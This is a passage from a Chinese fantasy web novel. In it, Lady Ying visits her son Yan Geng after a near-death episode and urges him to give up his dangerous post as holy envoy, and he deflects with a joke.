珞瑶微微怔忡,见炎庚说得自然,完全没有开玩笑的意思,仿佛只要她还在,六界的天就不会塌。 她眸中不由浮现出一丝暖意,将那叠文书基本看过一遍后,又放回了原位。 …… 珞瑶离开后,炎庚独自休憩半日,天色稍晚些的时候,嬴夫人来了。 嬴夫人挂念着炎庚的身体,从冥宫带来了好几个医术精湛的内官,待内官替他探完灵台才稍稍放心,道:“这样死里逃生的时候,不知你还要经历几次。” 炎庚听出她话语未完,“母亲,你想说什么?” 母子之间,相处不必在意那么多虚礼,他问起,嬴夫人也不再拐弯抹角。 “我想让你辞去圣使之位,回到朝堂来。”她道。 房中气氛微滞。 炎庚僵了一下,随即自然道:“为何?我如今是圣使,不也在帮母亲做事吗?” “你明知我的意思不是这个。”嬴夫人蹙着眉。 从前四海安定时,圣境使者之位无疑是个香饽饽,既能磨练心性,又能进入澜渊圣境,由圣女亲自传授镇幽术法,可谓是受益无穷,可如今不同了,幽祟越来越不安分,六界表面平静,实则暗流涌动不止。 成为圣使,就意味着要枕戈待旦,随时随地都有送命的可能。这个位置太过危险,身为母亲,嬴夫人不愿再看自己的孩子过刀尖舔血的日子。 炎庚何尝不懂她的话外之音,问:“母亲常说越害怕越跌跤,希望我勇敢无畏,将来守护冥界子民,现在怎么退缩了?” “爱子之心人皆有之,若有得选,我自然希望你能到一个更安全的地方去。”嬴夫人道。 炎庚听后却扬起眉梢,“没关系,我们又不是人了。” “……孽障。” 嬴夫人好半天才明白他的意思,笑骂了一声。鬼还不是从人间过来的?